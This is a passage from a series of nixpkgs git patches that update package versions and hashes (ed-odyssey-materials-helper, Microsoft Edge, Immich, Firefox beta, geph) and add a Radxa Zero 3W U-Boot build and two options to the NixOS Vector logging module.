-  "org/openjfx#javafx-fxml/23.0.1": {
-   "pom": "sha256-h45/OrAgdht3KLq0VkfIU7z+Qnc4MCqlLdOrzHXsDuo="
+  "org/openjfx#javafx-fxml/24.0.1": {
+   "pom": "sha256-cacGG3EfLSD4ETCVr1A2cB42Ki9WI6HKFvAhZiZWuc0="
   },
-  "org/openjfx#javafx-fxml/23.0.1/linux": {
-   "jar": "sha256-+zQCUfl7tvMxg/oBzlqXaBbjFqmI3EBIGj57VQgtmJo="
+  "org/openjfx#javafx-fxml/24.0.1/linux": {
+   "jar": "sha256-qIx7ROUks8+lqSH3h6OruJyCdhIm3C8nQ+Xnlxiy+hM="
   },
-  "org/openjfx#javafx-fxml/23.0.1/linux-aarch64": {
-   "jar": "sha256-W7WQrA9/wuzSa2DoZiOFVDVzDQoTZcM/MeNwitoN0YU="
+  "org/openjfx#javafx-fxml/24.0.1/linux-aarch64": {
+   "jar": "sha256-H9knyjm3bpf2CpY56MJ4VWIJtOOZv/hbjnXC1Lgn0qg="
   },
-  "org/openjfx#javafx-graphics/23.0.1": {
-   "jar": "sha256-kJCrtogUiOdLj4fkWoI47DMk7ETsxg/B+3tQMtgJURE=",
-   "pom": "sha256-st72CewOe6tjk5EdDP7xnZZo0NPcsvAB/luMWaiU24g="
+  "org/openjfx#javafx-graphics/24.0.1": {
+   "jar": "sha256-IR7gyZPhUMyZQ/VNTMOWjep+WbvE1jGINMW7kq4auaM=",
+   "pom": "sha256-rG0M+nPdv3iQ2+nsWG0FkbH1tCwDTm2sSo4PBv9povw="
   },
-  "org/openjfx#javafx-graphics/23.0.1/linux": {
-   "jar": "sha256-NVPB6tM9naWVgGkCKlBr/X4FxX7m9nR5spFz8taBZEw="
+  "org/openjfx#javafx-graphics/24.0.1/linux": {
+   "jar": "sha256-5vSJuesL4G0GswffYf3wvU2eSmaxjJ0cU85gDgDMZus="
   },
-  "org/openjfx#javafx-graphics/23.0.1/linux-aarch64": {
-   "jar": "sha256-neEdZDhvCC5tdPabZZyDlDW5kUHR7Y3Rk1Ux4OBgVMo="
+  "org/openjfx#javafx-graphics/24.0.1/linux-aarch64": {
+   "jar": "sha256-pDQCCBWBgcmsgTiy+9FwO0kXDDgBDatKnme9zG5Wy6k="
   },
-  "org/openjfx#javafx-media/23.0.1": {
-   "pom": "sha256-tfRj6GKtVPWcSsQbkRA/4PqvPe6WOL4AczNi7p6cWko="
+  "org/openjfx#javafx-media/24.0.1": {
+   "pom": "sha256-IRMGcyeEXjmGqA3lH8lM7VvdWpCzU93QYRopgBpX5nk="
   },
-  "org/openjfx#javafx-media/23.0.1/linux": {
-   "jar": "sha256-OP/Uy68DzVJMKslEStdK5ZNGuJpgmM15G1zSvzzUU6I="
+  "org/openjfx#javafx-media/24.0.1/linux": {
+   "jar": "sha256-dwOWaWbWi5uuKXYmLFk6fbhP5YWW0pQxTmKtJLj2ZpE="
   },
-  "org/openjfx#javafx-media/23.0.1/linux-aarch64": {
-   "jar": "sha256-QjtamkDW3UNXSxGMgbKd0790hH7ZgmYkFTa90uzFUM4="
+  "org/openjfx#javafx-media/24.0.1/linux-aarch64": {
+   "jar": "sha256-UsRE4Of76C5+VMb5saZz7q1tGHPTuEA01Z1XxHi8R3Y="
   },
-  "org/openjfx#javafx-swing/23.0.1": {
-   "jar": "sha256-nNkwvgpUAQhXNRTE+aSL/yln3Kg/XjGR7//vQH7ade0=",
-   "pom": "sha256-uht/UEeiXgkbdKJpJKQ2St+eoWqKLESnEbvledqikyw="
+  "org/openjfx#javafx-swing/24.0.1": {
+   "jar": "sha256-iUfG6m/V28EDp3yC+7MtfCcUqrgcHr6R1kEw7Gm1vRE=",
+   "pom": "sha256-EGx2gZJHx6j5+GVYsFDTeVOPdvIi73HEI97ZLyX8eoE="
   },
-  "org/openjfx#javafx-swing/23.0.1/linux": {
-   "jar": "sha256-+FtFmvQtjKJ18NiRocwcjUuMudSPMuXhYau9Rt6YaqY="
+  "org/openjfx#javafx-swing/24.0.1/linux": {
+   "jar": "sha256-DJwwQlC3JBRlO8vaFFIlNCNR6RgwRvzbwTmJO6ljXt0="
   },
-  "org/openjfx#javafx-swing/23.0.1/linux-aarch64": {
-   "jar": "sha256-KEDeqgCwBi5zmLT+6cuSPRmNk+UwFj/OphbZT9/5HVo="
+  "org/openjfx#javafx-swing/24.0.1/linux-aarch64": {
+   "jar": "sha256-0Qg1g+yqJ2R0evi9+uoJiTAI8QOzyUyaysWsX/e2HWk="
   },
-  "org/openjfx#javafx/23.0.1": {
-   "pom": "sha256-S7WEqBPU9lbMNxf+dQpLLI/2mj1W+6E53MHms4FV2F4="
+  "org/openjfx#javafx/24.0.1": {
+   "pom": "sha256-+laqYHIYO29Lkkkdi0HzIRIeqtVqH9QFPg6J3Kqr8Zc="
   },
   "org/opentest4j#opentest4j/1.3.0": {
    "jar": "sha256-SOLfY2yrZWPO1k3N/4q7I1VifLI27wvzdZhoLd90Lxs=",
    "module": "sha256-SL8dbItdyU90ZSvReQD2VN63FDUCSM9ej8onuQkMjg0=",
    "pom": "sha256-m/fP/EEPPoNywlIleN+cpW2dQ72TfjCUhwbCMqlDs1U="
   },
-  "org/projectlombok#lombok/1.18.36": {
-   "jar": "sha256-c7awW2otNltwC6sI0w+U3p0zZJC8Cszlthgf70jL8Y4=",
-   "pom": "sha256-iaIdJYdshWLBShDxsh77/M6dU7BYaGuChf6iJ2xTKQ4="
+  "org/osgi#org.osgi.annotation.bundle/2.0.0": {
+   "jar": "sha256-uclUbsW+PrwuhbpJGRUK121kWUgFKC/IlRM6R9Jkp64=",
+   "pom": "sha256-i5z4pBKev1J48mNNNQnDcig5Ya0P3MhaJFuzXXoipcg="
+  },
+  "org/osgi#org.osgi.annotation.versioning/1.1.2": {
+   "jar": "sha256-9R8jXoDfj/vDDvG1V7bqOKaWYy1nVATsEX6VKXi4uGM=",
+   "pom": "sha256-sdMBKr/6K3/Eo9C67oeESUwHOYawANZVp4j6YXqqK8g="
+  },
+  "org/osgi#org.osgi.resource/1.0.0": {
+   "jar": "sha256-gfxQ8fHTikryjhMZB9Sv4hMkmqsFBgSE7coOYMSvm0o=",
+   "pom": "sha256-g6zfIl/7mkp7xYL1OkFFofLDvbtCjgM8AJZvY8YQ6CA="
+  },
+  "org/osgi#org.osgi.service.serviceloader/1.0.0": {
+   "jar": "sha256-j4ds4qmqTpWx8ZUpUCVRA+JIdCUFCmVPMoVEe6YBwVQ=",
+   "pom": "sha256-dVdRq2w3oaMa+1ueSllcDdLv0rUNcDshJVuCfFDtYVM="
+  },
+  "org/projectlombok#lombok/1.18.38": {
+   "jar": "sha256-Hh5CfDb/Y8RP0w7yktnnc+oxVEYKtiZdP+1+b1vFD7k=",
+   "pom": "sha256-gWXuhymafa8GmnyYG3u4YENCE7mvyqurC0abO6v0jm0="
   },
   "org/rauschig#jarchivelib/0.6.0": {
    "jar": "sha256-u/9XGPF0HRYkJreWaPJKznhTPHicnEBJtbewxTF39BQ=",
diff --git a/pkgs/by-name/ed/ed-odyssey-materials-helper/package.nix b/pkgs/by-name/ed/ed-odyssey-materials-helper/package.nix
index f24b30fc7263..3af3d8a97c6c 100644
--- a/pkgs/by-name/ed/ed-odyssey-materials-helper/package.nix
+++ b/pkgs/by-name/ed/ed-odyssey-materials-helper/package.nix
@@ -3,26 +3,29 @@
   lib,
   fetchFromGitHub,
   gradle,
-  jdk23,
+  jdk24,
   makeWrapper,
   wrapGAppsHook3,
   libXxf86vm,
   libXtst,
   libglvnd,
   glib,
+  alsa-lib,
+  ffmpeg,
+  lsb-release,
   copyDesktopItems,
   makeDesktopItem,
   writeScript,
 }:
 stdenv.mkDerivation rec {
   pname = "ed-odyssey-materials-helper";
-  version = "2.178";
+  version = "2.199";
 
   src = fetchFromGitHub {
     owner = "jixxed";
     repo = "ed-odyssey-materials-helper";
     tag = version;
-    hash = "sha256-a/nrRw5FjUZBJE0CmSevGAw4LBI/A3jPAEJfg7GY5+U=";
+    hash = "sha256-1d5OzhAFo0s5xshJCdfWufo5Xb0UtHzUPdR6fwuaGYQ=";
   };
 
   nativeBuildInputs = [
@@ -49,6 +52,11 @@ stdenv.mkDerivation rec {
     # remove "new version available" popup
     substituteInPlace application/src/main/java/nl/jixxed/eliteodysseymaterials/FXApplication.java \
       --replace-fail 'versionPopup();' ""
+
+    for f in build.gradle */build.gradle; do
+      substituteInPlace $f \
+        --replace-fail 'vendor = JvmVendorSpec.AZUL' ""
+    done
   '';
 
   mitmCache = gradle.fetchDeps {
@@ -56,10 +64,18 @@ stdenv.mkDerivation rec {
     data = ./deps.json;
   };
 
-  gradleFlags = [ "-Dorg.gradle.java.home=${jdk23}" ];
+  gradleFlags = [
+    "-Dorg.gradle.java.home=${jdk24}"
+    "--stacktrace"
+  ];
 
   gradleBuildTask = "application:jpackage";
 
+  env = {
+    # The source no longer contains this, so this has been extracted from the binary releases
+    SENTRY_DSN = "https://1aacf97280717f749dfc93a1713f9551@o4507814449774592.ingest.de.sentry.io/4507814504759376";
+  };
+
   installPhase = ''
     runHook preInstall
 
@@ -84,8 +100,12 @@ stdenv.mkDerivation rec {
           glib
           libXtst
           libglvnd
+          alsa-lib
+          ffmpeg
         ]
-      } "''${gappsWrapperArgs[@]}"
+      } \
+      --prefix PATH : ${lib.makeBinPath [ lsb-release ]} \
+      "''${gappsWrapperArgs[@]}"
   '';
 
   desktopItems = [
diff --git a/pkgs/by-name/ed/ed-odyssey-materials-helper/remove-urlscheme-settings.patch b/pkgs/by-name/ed/ed-odyssey-materials-helper/remove-urlscheme-settings.patch
index c40a6fa94ff0..b16637572997 100644
--- a/pkgs/by-name/ed/ed-odyssey-materials-helper/remove-urlscheme-settings.patch
+++ b/pkgs/by-name/ed/ed-odyssey-materials-helper/remove-urlscheme-settings.patch
@@ -18,7 +18,7 @@ index 6ac788ea..a5281983 100644
  
      @Override
      public boolean isRegistered() {
--        if (!IS_JAVA) {
+-        if (!VersionService.isDev()) {
 -            final File file = new File(System.getProperty(USER_HOME) + DESKTOP_FILE_PATH);
 -            return file.exists() && file.isFile();
 -        }
@@ -31,11 +31,13 @@ diff --git a/application/src/main/java/nl/jixxed/eliteodysseymaterials/templates
 index 5fa546bb..839eed44 100644
 --- a/application/src/main/java/nl/jixxed/eliteodysseymaterials/templates/settings/sections/General.java
 +++ b/application/src/main/java/nl/jixxed/eliteodysseymaterials/templates/settings/sections/General.java
-@@ -83,7 +83,6 @@ public class General extends DestroyableVBox implements DestroyableEventTemplate
+@@ -82,8 +82,7 @@ public class General extends DestroyableVBox implements DestroyableEventTemplate
+                 langSetting,
                  fontSetting,
                  customJournalFolderSetting,
-                 pollSetting,
--                urlSchemeLinkingSetting,
-                 exportInventory,
-                 blueprintExpandedSetting,
-                 importFromClipboardSetting,
+-                pollSetting,
+-                urlSchemeLinkingSetting
++                pollSetting
+         );
+         if (OsCheck.isWindows()) {
+             final DestroyableHBox darkModeSetting = createDarkModeSetting();

From ec0f3e3d93d68ee6a1ad2839121bc3bfa234697f Mon Sep 17 00:00:00 2001
From: Jon Hermansen <jon@jh86.org>
Date: Fri, 25 Jul 2025 17:23:37 -0400
Subject: [PATCH 2915/4511] microsoft-edge: 138.0.3351.95 -> 138.0.3351.109

(cherry picked from commit 1e22f2e408ce8e3ccf9acc38dd4316d612fdd551)
---
 pkgs/by-name/mi/microsoft-edge/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/mi/microsoft-edge/package.nix b/pkgs/by-name/mi/microsoft-edge/package.nix
index b3a4c24b5478..17ca0f1343e0 100644
--- a/pkgs/by-name/mi/microsoft-edge/package.nix
+++ b/pkgs/by-name/mi/microsoft-edge/package.nix
@@ -178,11 +178,11 @@ in
 
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "microsoft-edge";
-  version = "138.0.3351.95";
+  version = "138.0.3351.109";
 
   src = fetchurl {
     url = "https://packages.microsoft.com/repos/edge/pool/main/m/microsoft-edge-stable/microsoft-edge-stable_${finalAttrs.version}-1_amd64.deb";
-    hash = "sha256-Q5TdmqLlRITWDRZwUTMiOOjXQm09Cq+bK6N5XNew6R8=";
+    hash = "sha256-RXHfoj9T9MGvEt7hNKLF7cprNwZEvpFZH6VM7KOd2uM=";
   };
 
   # With strictDeps on, some shebangs were not being patched correctly

From 42a17f8a4f77ea64e88b350fed39d42875a8b574 Mon Sep 17 00:00:00 2001
From: Sefa Eyeoglu <contact@scrumplex.net>
Date: Fri, 25 Jul 2025 09:05:16 +0200
Subject: [PATCH 2916/4511] immich: 1.135.3 -> 1.136.0

`canvas` was added as a dependency to server/package.json in
https://github.com/immich-app/immich/commit/db0415bbcc7512e99013a6c310b64f51fd34a711

I am not sure if this was intentional as `canvas` is not ever imported
in the server package. Perhaps we can raise a bug for this.

https://github.com/immich-app/immich/releases/tag/v1.136.0

Note that the breaking change shouldn't affect NixOS users, as
`IMMICH_MEDIA_LOCATION` is set to an absolute path by default.

Signed-off-by: Sefa Eyeoglu <contact@scrumplex.net>
(cherry picked from commit 785d183e69c0899387751928fbdcc316b9aac97e)
---
 pkgs/by-name/im/immich/package.nix  | 11 ++++++++++-
 pkgs/by-name/im/immich/sources.json | 24 ++++++++++++------------
 2 files changed, 22 insertions(+), 13 deletions(-)

diff --git a/pkgs/by-name/im/immich/package.nix b/pkgs/by-name/im/immich/package.nix
index cfbc9db35deb..9eefd4d2450f 100644
--- a/pkgs/by-name/im/immich/package.nix
+++ b/pkgs/by-name/im/immich/package.nix
@@ -218,7 +218,16 @@ buildNpmPackage' {
     imagemagick
     libraw
     libheif
-    vips' # Required for sharp
+    # https://github.com/Automattic/node-canvas/blob/master/Readme.md#compiling
+    cairo
+    giflib
+    libjpeg
+    libpng
+    librsvg
+    pango
+    pixman
+    # Required for sharp
+    vips'
   ];
 
   # Required because vips tries to write to the cache dir
diff --git a/pkgs/by-name/im/immich/sources.json b/pkgs/by-name/im/immich/sources.json
index 8c039477368e..36bcb1de67df 100644
--- a/pkgs/by-name/im/immich/sources.json
+++ b/pkgs/by-name/im/immich/sources.json
@@ -1,26 +1,26 @@
 {
-  "version": "1.135.3",
-  "hash": "sha256-CIYuDAWd0OH7jwV4XKIJDVlk1D/tYlDVW5V4uEDCwEE=",
+  "version": "1.136.0",
+  "hash": "sha256-IMog1lvitT1fNKlT4pv/5Qlg/2JNkBNZrBu65NRAgJ0=",
   "components": {
     "cli": {
-      "npmDepsHash": "sha256-43W9yKr1XuTLUi3RuZNR8CjcHIyhHaSl+azZKqDWBx0=",
-      "version": "2.2.72"
+      "npmDepsHash": "sha256-+cMBzlvnSAwlutVm1F0Sa2LEAP6ppOvI9XjDb40xWW4=",
+      "version": "2.2.73"
     },
     "server": {
-      "npmDepsHash": "sha256-Z5vRpSau9nxrlXe7QuxYhqpVkloVIz12o0hXKAl8Y6o=",
-      "version": "1.135.3"
+      "npmDepsHash": "sha256-kVmoxOd7ErLmLKBkanb8IOUJ3ccpzUHBkaLgnvli0Uw=",
+      "version": "1.136.0"
     },
     "web": {
-      "npmDepsHash": "sha256-M5TNLBJPl/9rue651XyyV5ZnPakq0wPgTmS7XhSbf0A=",
-      "version": "1.135.3"
+      "npmDepsHash": "sha256-CxQQbqIhqhWqtlV4BWQDPkg0tm3wPXC6BcCFb/6mM+o=",
+      "version": "1.136.0"
     },
     "open-api/typescript-sdk": {
-      "npmDepsHash": "sha256-HOQMbbLzxkw5U2MHJFGKiquvfFYdwCEjHhXWwrhCmng=",
-      "version": "1.135.3"
+      "npmDepsHash": "sha256-z9W3YGqoUV90TXoyEnR069pLvirzDAisgQZdaJEOlSg=",
+      "version": "1.136.0"
     },
     "geonames": {
-      "timestamp": "20250620153832",
-      "hash": "sha256-OJSQFjaYm1TVyA0JL7DiHy/dbhRd5HYoTPqIoPnBLss="
+      "timestamp": "20250725064853",
+      "hash": "sha256-UzP8JapHTCpk5/6X5usLLXQUfqEOUgkq76CTIBZoz08="
     }
   }
 }

From 77fe0156510777aea64c4326556a40f78d531a2e Mon Sep 17 00:00:00 2001
From: der-letzte <der-letzte@users.noreply.github.com>
Date: Sat, 26 Jul 2025 13:52:00 +0200
Subject: [PATCH 2917/4511] ubootRadxaZero3W: init

(cherry picked from commit b264aa2a8eddabec4b7bd84b26f1b96062af10f3)
---
 pkgs/misc/uboot/default.nix     | 12 ++++++++++++
 pkgs/top-level/all-packages.nix |  1 +
 2 files changed, 13 insertions(+)

diff --git a/pkgs/misc/uboot/default.nix b/pkgs/misc/uboot/default.nix
index 8f9d68e06a01..576ba7803da5 100644
--- a/pkgs/misc/uboot/default.nix
+++ b/pkgs/misc/uboot/default.nix
@@ -640,6 +640,18 @@ in
     ];
   };
 
+  ubootRadxaZero3W = buildUBoot {
+    defconfig = "radxa-zero-3-rk3566_defconfig";
+    extraMeta.platforms = [ "aarch64-linux" ];
+    BL31 = "${armTrustedFirmwareRK3568}/bl31.elf";
+    ROCKCHIP_TPL = rkbin.TPL_RK3566;
+    filesToInstall = [
+      "idbloader.img"
+      "u-boot.itb"
+      "u-boot-rockchip.bin"
+    ];
+  };
+
   ubootRaspberryPi = buildUBoot {
     defconfig = "rpi_defconfig";
     extraMeta.platforms = [ "armv6l-linux" ];
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 84a9577c7a46..f794a0559d22 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -11557,6 +11557,7 @@ with pkgs;
     ubootQemuX86
     ubootQemuX86_64
     ubootQuartz64B
+    ubootRadxaZero3W
     ubootRaspberryPi
     ubootRaspberryPi2
     ubootRaspberryPi3_32bit

From cb2ab6ae46e5d2ca594d203feb551c6bb55cd806 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Fri, 25 Jul 2025 22:33:15 +0200
Subject: [PATCH 2918/4511] firfox: limit apple sdk patch to versions below 142

(cherry picked from commit 58b513042ff494dd3daf30d8d39cbde0d60fe9f0)
---
 pkgs/applications/networking/browsers/firefox/common.nix | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/pkgs/applications/networking/browsers/firefox/common.nix b/pkgs/applications/networking/browsers/firefox/common.nix
index 80c185d12f65..3c8dd8d416f3 100644
--- a/pkgs/applications/networking/browsers/firefox/common.nix
+++ b/pkgs/applications/networking/browsers/firefox/common.nix
@@ -316,7 +316,9 @@ buildStdenv.mkDerivation {
       # https://hg-edge.mozilla.org/mozilla-central/rev/aa8a29bd1fb9
       ./139-wayland-drag-animation.patch
     ]
-    ++ lib.optionals (lib.versionAtLeast version "139") [ ./139-relax-apple-sdk.patch ]
+    ++ lib.optionals (lib.versionAtLeast version "139" && lib.versionOlder version "142") [
+      ./139-relax-apple-sdk.patch
+    ]
     ++ lib.optionals (lib.versionOlder version "139") [
       # Fix for missing vector header on macOS
       # https://bugzilla.mozilla.org/show_bug.cgi?id=1959377

From 1ca8f91cae9f2306c5a98e7c93d9ff6fdddd116c Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Fri, 25 Jul 2025 18:53:26 +0000
Subject: [PATCH 2919/4511] firefox-devedition-unwrapped: 141.0b9 -> 142.0b3

(cherry picked from commit 8f03c15a3b692932f94a97ced5f908da095915ee)
---
 .../browsers/firefox/packages/firefox-devedition.nix          | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
index c7e29fc1677f..e93b0cfff180 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
@@ -10,13 +10,13 @@
 buildMozillaMach rec {
   pname = "firefox-devedition";
   binaryName = pname;
-  version = "141.0b9";
+  version = "142.0b3";
   applicationName = "Firefox Developer Edition";
   requireSigning = false;
   branding = "browser/branding/aurora";
   src = fetchurl {
     url = "mirror://mozilla/devedition/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "0acb95c53c35d086aa777a96563e5cdc2838b8fedceeba344a2d4f5c9b0cbd148e8d1313463c35cf98fb52048bebd1b7a3aefc63e0d3ac9ae66de69fa25fc2e8";
+    sha512 = "5752c77307e59ad188385bb7bbb440e01a256f437088e051d1bc74e0ccdbde4ddf68c97fdcf0401c03636293753c5e8f7132352aed5f5e9e537c96eaf8784f21";
   };
 
   # buildMozillaMach sets MOZ_APP_REMOTINGNAME during configuration, but

From ab32e4aeb8ebd7ba2d4b3ff60d333099ed573215 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Fri, 25 Jul 2025 18:54:16 +0000
Subject: [PATCH 2920/4511] firefox-beta-unwrapped: 141.0b9 -> 142.0b3

(cherry picked from commit d3d88996a67ed14e6956427e2cee31cd89579850)
---
 .../networking/browsers/firefox/packages/firefox-beta.nix     | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
index 8dd14fbb7e1f..9b2c1ee89478 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
@@ -10,11 +10,11 @@
 buildMozillaMach rec {
   pname = "firefox-beta";
   binaryName = pname;
-  version = "141.0b9";
+  version = "142.0b3";
   applicationName = "Firefox Beta";
   src = fetchurl {
     url = "mirror://mozilla/firefox/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "b474898f3e5955c35fa8bef05ea27d68604aad5ec00e3417bfc586e8a6abd55b19d98515719997b179209a38a032cc96245c67acb2fd7df14d8a355b832c6b77";
+    sha512 = "707781fcc59798c0ecbf11532eac41f4f134f24b1d670234cf674e433525ca83fe4fff75874d1a16d2be2039959731e71a5aa56e727d2b46e5bc40f63277b188";
   };
 
   meta = {

From 301ddd7f6ee5d43f81e198d1f589775bfb4ddcc8 Mon Sep 17 00:00:00 2001
From: MCSeekeri <mcseekeri@outlook.com>
Date: Sun, 20 Jul 2025 21:24:01 +0800
Subject: [PATCH 2921/4511] geph: 0.2.61 -> 0.2.72

(cherry picked from commit 9595124422e96444710beb39ca6a4c1ad6017eaf)
---
 pkgs/by-name/ge/geph/package.nix    | 10 ++++------
 pkgs/by-name/ge/geph/test-fix.patch | 27 ---------------------------
 2 files changed, 4 insertions(+), 33 deletions(-)
 delete mode 100644 pkgs/by-name/ge/geph/test-fix.patch

diff --git a/pkgs/by-name/ge/geph/package.nix b/pkgs/by-name/ge/geph/package.nix
index e8b6ba8cdbb2..e68b537313d5 100644
--- a/pkgs/by-name/ge/geph/package.nix
+++ b/pkgs/by-name/ge/geph/package.nix
@@ -23,18 +23,16 @@ let
 in
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "geph5";
-  version = "0.2.61";
+  version = "0.2.72";
 
   src = fetchFromGitHub {
     owner = "geph-official";
     repo = "geph5";
     rev = "geph5-client-v${finalAttrs.version}";
-    hash = "sha256-qy1E5x5Fn+xwS5st6HkMrJu9nksXQQIyJf97FvNOKO4=";
+    hash = "sha256-+/oOQjebkn3iYi5UXFzFoe0ldu+p+nf5uEjGhk5nlNo=";
   };
 
-  cargoHash = "sha256-r97DsSsqp/KtgqtYQe92nz2qaOBcJF6w9ckfxpk8Cxg=";
-
-  patches = [ ./test-fix.patch ];
+  cargoHash = "sha256-OFSsMa/xErNB+1cvEOnGshJJEcG8ZDf9y/uYVnsVwhU=";
 
   postPatch = ''
     substituteInPlace binaries/geph5-client/src/vpn/*.sh \
@@ -64,13 +62,13 @@ rustPlatform.buildRustPackage (finalAttrs: {
 
   checkFlags = [
     # Wrong test
-    "--skip=traffcount::tests::test_traffic_cleanup"
     "--skip=traffcount::tests::test_traffic_count_basic"
     # Requires network
     "--skip=dns::tests::resolve_google"
     # Never finish
     "--skip=tests::test_blind_sign"
     "--skip=tests::test_generate_secret_key"
+    "--skip=tests::ping_pong"
   ];
 
   desktopItems = [
diff --git a/pkgs/by-name/ge/geph/test-fix.patch b/pkgs/by-name/ge/geph/test-fix.patch
deleted file mode 100644
index 6df6cd4e589f..000000000000
--- a/pkgs/by-name/ge/geph/test-fix.patch
+++ /dev/null
@@ -1,27 +0,0 @@
-diff --git a/binaries/geph5-client/src/traffcount.rs b/binaries/geph5-client/src/traffcount.rs
-index 5c91a27..61c0b3b 100644
---- a/binaries/geph5-client/src/traffcount.rs
-+++ b/binaries/geph5-client/src/traffcount.rs
-@@ -28,14 +28,14 @@ impl TraffCount {
-     }
- 
-     // /// Create a new traffic counter with custom history length
--    // pub fn with_history(max_seconds: usize) -> Self {
--    //     let now = Instant::now();
--    //     Self {
--    //         bins: VecDeque::with_capacity(max_seconds),
--    //         window_start: now,
--    //         max_history_seconds: max_seconds,
--    //     }
--    // }
-+    pub fn with_history(max_seconds: usize) -> Self {
-+        let now = Instant::now();
-+        Self {
-+            bins: VecDeque::with_capacity(max_seconds),
-+            window_start: now,
-+            max_history_seconds: max_seconds,
-+        }
-+    }
- 
-     /// Increment the traffic count with the given number of bytes
-     pub fn incr(&mut self, bytes: f64) {

From e6279c5e3533dad588a123d0b5fa5075181edcc4 Mon Sep 17 00:00:00 2001
From: Nick Ionata <n.ionata129@gmail.com>
Date: Thu, 5 Jun 2025 11:57:17 -0700
Subject: [PATCH 2922/4511] nixos/vector: add graceful shutdown limit option

This adds a NixOS module option to configure the Vector cli option
`--graceful-shutdown-limit-secs`,
https://vector.dev/docs/reference/cli/#vector_graceful_shutdown_limit_secs.

(cherry picked from commit 25a40ead28cb77bc49a5fa9e7213fbf538fe25d0)
---
 nixos/modules/services/logging/vector.nix | 11 ++++++++++-
 1 file changed, 10 insertions(+), 1 deletion(-)

diff --git a/nixos/modules/services/logging/vector.nix b/nixos/modules/services/logging/vector.nix
index dd9aa769ee59..5e5d4efd1630 100644
--- a/nixos/modules/services/logging/vector.nix
+++ b/nixos/modules/services/logging/vector.nix
@@ -22,6 +22,15 @@ in
       '';
     };
 
+    gracefulShutdownLimitSecs = lib.mkOption {
+      type = lib.types.ints.positive;
+      default = 60;
+      description = ''
+        Set the duration in seconds to wait for graceful shutdown after SIGINT or SIGTERM are received.
+        After the duration has passed, Vector will force shutdown.
+      '';
+    };
+
     settings = lib.mkOption {
       type = (pkgs.formats.json { }).type;
       default = { };
@@ -56,7 +65,7 @@ in
               '';
         in
         {
-          ExecStart = "${lib.getExe cfg.package} --config ${validateConfig conf}";
+          ExecStart = "${lib.getExe cfg.package} --config ${validateConfig conf} --graceful-shutdown-limit-secs ${builtins.toString cfg.gracefulShutdownLimitSecs}";
           DynamicUser = true;
           Restart = "always";
           StateDirectory = "vector";

From 11f226d19dd1524fa4a4c16c8075c69889b05875 Mon Sep 17 00:00:00 2001
From: weriomat <engel@weriomat.com>
Date: Mon, 14 Jul 2025 16:38:04 +0200
Subject: [PATCH 2923/4511] nixos/vector: add option to disable the
 configuration validation

Currently, during built time the configuration gets checked by vector.
This can be a problem if [environment
variables](https://vector.dev/docs/reference/environment_variables/) are
interpolated into the configuration. In this case the validation can be
disabled. This came up in trying to find a solution for
[#377889](https://github.com/NixOS/nixpkgs/issues/377889).

(cherry picked from commit 6b4ce1ee231c408f467b3f3efd6c31533d483c44)
---
 nixos/modules/services/logging/vector.nix | 15 ++++++++++++---
 1 file changed, 12 insertions(+), 3 deletions(-)

diff --git a/nixos/modules/services/logging/vector.nix b/nixos/modules/services/logging/vector.nix
index 5e5d4efd1630..057754c5d0aa 100644
--- a/nixos/modules/services/logging/vector.nix
+++ b/nixos/modules/services/logging/vector.nix
@@ -6,7 +6,6 @@
 }:
 let
   cfg = config.services.vector;
-
 in
 {
   options.services.vector = {
@@ -31,6 +30,14 @@ in
       '';
     };
 
+    validateConfig = lib.mkOption {
+      type = lib.types.bool;
+      default = true;
+      description = ''
+        Enable the checking of the vector config during build time. This should be disabled when interpolating environment variables.
+      '';
+    };
+
     settings = lib.mkOption {
       type = (pkgs.formats.json { }).type;
       default = { };
@@ -53,7 +60,7 @@ in
         let
           format = pkgs.formats.toml { };
           conf = format.generate "vector.toml" cfg.settings;
-          validateConfig =
+          validatedConfig =
             file:
             pkgs.runCommand "validate-vector-conf"
               {
@@ -65,7 +72,9 @@ in
               '';
         in
         {
-          ExecStart = "${lib.getExe cfg.package} --config ${validateConfig conf} --graceful-shutdown-limit-secs ${builtins.toString cfg.gracefulShutdownLimitSecs}";
+          ExecStart = "${lib.getExe cfg.package} --config ${
+            if cfg.validateConfig then (validatedConfig conf) else conf
+          }  --graceful-shutdown-limit-secs ${builtins.toString cfg.gracefulShutdownLimitSecs}";
           DynamicUser = true;
           Restart = "always";
           StateDirectory = "vector";

From 62d10f27acdea605ce72dedd3fca4326b8bb83ac Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 25 Jul 2025 12:39:32 +0000
Subject: [PATCH 2924/4511] wdisplays: 1.1.1 -> 1.1.3

(cherry picked from commit e544018f20902c0bb4af28d3614126917ae9ee2a)
---
 pkgs/by-name/wd/wdisplays/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/wd/wdisplays/package.nix b/pkgs/by-name/wd/wdisplays/package.nix
index 0f74c294abfa..d24bb42b8a73 100644
--- a/pkgs/by-name/wd/wdisplays/package.nix
+++ b/pkgs/by-name/wd/wdisplays/package.nix
@@ -14,7 +14,7 @@
 
 stdenv.mkDerivation (finalAttrs: {
